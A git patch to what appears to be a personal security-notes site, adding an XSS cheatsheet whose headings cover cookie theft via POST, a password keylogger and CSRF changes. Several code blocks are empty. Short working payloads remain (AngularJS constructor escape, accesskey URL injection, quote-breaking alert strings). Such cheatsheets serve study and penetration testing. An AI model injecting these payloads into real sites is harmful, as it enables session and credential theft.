From be3ffa0e250e759ff1ff13988858c5a84311358d Mon Sep 17 00:00:00 2001 From: xanhacks Date: Wed, 21 Dec 2022 08:01:38 +0100 Subject: [PATCH] add xss payloads --- docs/web/clientside/03-XSS.md | 86 ++++++++++++++++++++++++++++++++--- 1 file changed, 79 insertions(+), 7 deletions(-) diff --git a/docs/web/clientside/03-XSS.md b/docs/web/clientside/03-XSS.md index 58471ee..ae9c8da 100644 --- a/docs/web/clientside/03-XSS.md +++ b/docs/web/clientside/03-XSS.md @@ -7,26 +7,28 @@ description: XSS cheatsheets, payloads and tricks. ## Attack -### Basic payload +### Payloads ```html -``` -More payloads on [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet). + -### Vectors +
#anchor +``` + +More payloads on [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet). ### HTML events and tags Lists : -- [all-html-events.txt]({{ base_url }}/assets/txt/all-html-events.txt) -- [all-html-tags.txt]({{ base_url }}/assets/txt/all-html-tags.txt) +- [all-html-events.txt](/assets/txt/all-html-events.txt) +- [all-html-tags.txt](/assets/txt/all-html-tags.txt) > Source [www.w3schools.com - event](https://www.w3schools.com/tags/ref_eventattributes.asp) and [www.w3schools.com - tags](https://www.w3schools.com/TAGs/). @@ -86,3 +88,73 @@ The `replace` function only replace the first occurence. "<" ``` +### jQuery's $() selector + +- `` + +### AngularJS ng-app + +- `{{$on.constructor('alert(1)')()}}` + +### Send cookie via POST request + +```html + +``` + +### Capture passwords (keylogger) + +```html + + +``` + +### URL Reflection + Bind Key + +`/?%27accesskey=%27x%27onclick=%27alert()`, then `Alt+x` on Brave + +### HTML entity escape + +- `http://example',alert(),'` => `('http://example',alert(),'...')'` + +### Change CSRF + +```html + +``` + +### Escape + +`'` and `\` + +```html + +``` + +`'` with `<` filtered + +```html +\';alert()// +'-alert(1)-' +``` + +XSS inside backticks + +```html +${alert(document.domain)} +``` \ No newline at end of file